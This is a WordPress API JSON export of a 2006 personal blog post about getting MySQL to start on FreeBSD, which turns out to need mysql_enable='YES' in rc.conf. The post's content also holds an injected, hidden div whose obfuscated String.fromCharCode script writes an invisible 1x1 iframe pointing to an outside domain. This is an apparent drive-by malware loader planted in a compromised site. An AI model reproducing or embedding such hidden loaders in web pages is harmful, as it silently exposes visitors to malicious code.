{"id":86,"date":"2006-03-15T19:37:25","date_gmt":"2006-03-15T18:37:25","guid":{"rendered":"http:\/\/freegw.xs4all.nl\/~basp\/wordpress\/index.php\/2006\/03\/15\/mysql-on-freebsd\/"},"modified":"2010-06-25T20:56:13","modified_gmt":"2010-06-25T19:56:13","slug":"mysql-on-freebsd","status":"publish","type":"post","link":"\/~basp\/wordpress\/index.php\/2006\/03\/15\/mysql-on-freebsd\/","title":{"rendered":"MySQL"},"content":{"rendered":"<p>It always takes a good night of sleep for me to get things working in FreeBSD. I usually tend to start these tasks too late when I&#8217;m not completely with it anymore and things go wrong often right from the start. <\/p>\n<p>The day after I&#8217;m usually able to complete what I set out to do and this time, installing MySQL on FreeBSD, it was no different. I kept getting &#8220;Couldn&#8217;t not connect to bla bla socket bla localhost etc.&#8221; errors and mysqld would not run no matter how bad I wanted it to.<\/p>\n<p>Tonight, I read the manual a little more carefully and tried changing the owner of the mysql data directories (\/var\/db\/mysql) to my own username before running mysqld manually and the thing finally started. Then I looked a little better at the mysql-server.sh script in \/usr\/local\/etc\/rc.d and there it was: <\/p>\n<p>To enable mysql you need to add mysql_enable=&#8221;YES&#8221; to your rc.conf. Well, I changed owner of the \/var\/db\/mysql directory back to mysql, added mysql_enable=&#8221;YES&#8221; to rc.conf, rebooted and voila. It was working perfectly after all&#8230; The only thing missing was that line in rc.conf. <\/p>\n<p>Ah well, maybe I can run mysql 5.0 after all. I started with this version but after it seemed to fail I tried 4.1. Now I deinstalled 4.1 (again) and as I&#8217;m typing this 5.0 is compiling. I&#8217;m hoping things will work right after the reboot because that line is still there.<!--more--><!--97340e70753f624e2d006976dc244f2522010--><\/p>\n<div style=\"display:none\">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))<\/div>\n<p><!--\/97340e70753f624e2d006976dc244f2522010--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It always takes a good night of sleep for me to get things working in FreeBSD. I usually tend to start these tasks too late when I&#8217;m not completely with it anymore and things go wrong often right from the start. The day after I&#8217;m usually able to complete what I set out to do &hellip; <\/p>\n<p class=\"link-more\"><a href=\"\/~basp\/wordpress\/index.php\/2006\/03\/15\/mysql-on-freebsd\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;MySQL&#8221;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-86","post","type-post","status-publish","format-standard","hentry","category-software","entry"],"_links":{"self":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/86","targetHints":{"allow":["GET"]}}],"collection":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/comments?post=86"}],"version-history":[{"count":0,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/posts\/86\/revisions"}],"wp:attachment":[{"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/media?parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/categories?post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"\/~basp\/wordpress\/index.php\/wp-json\/wp\/v2\/tags?post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}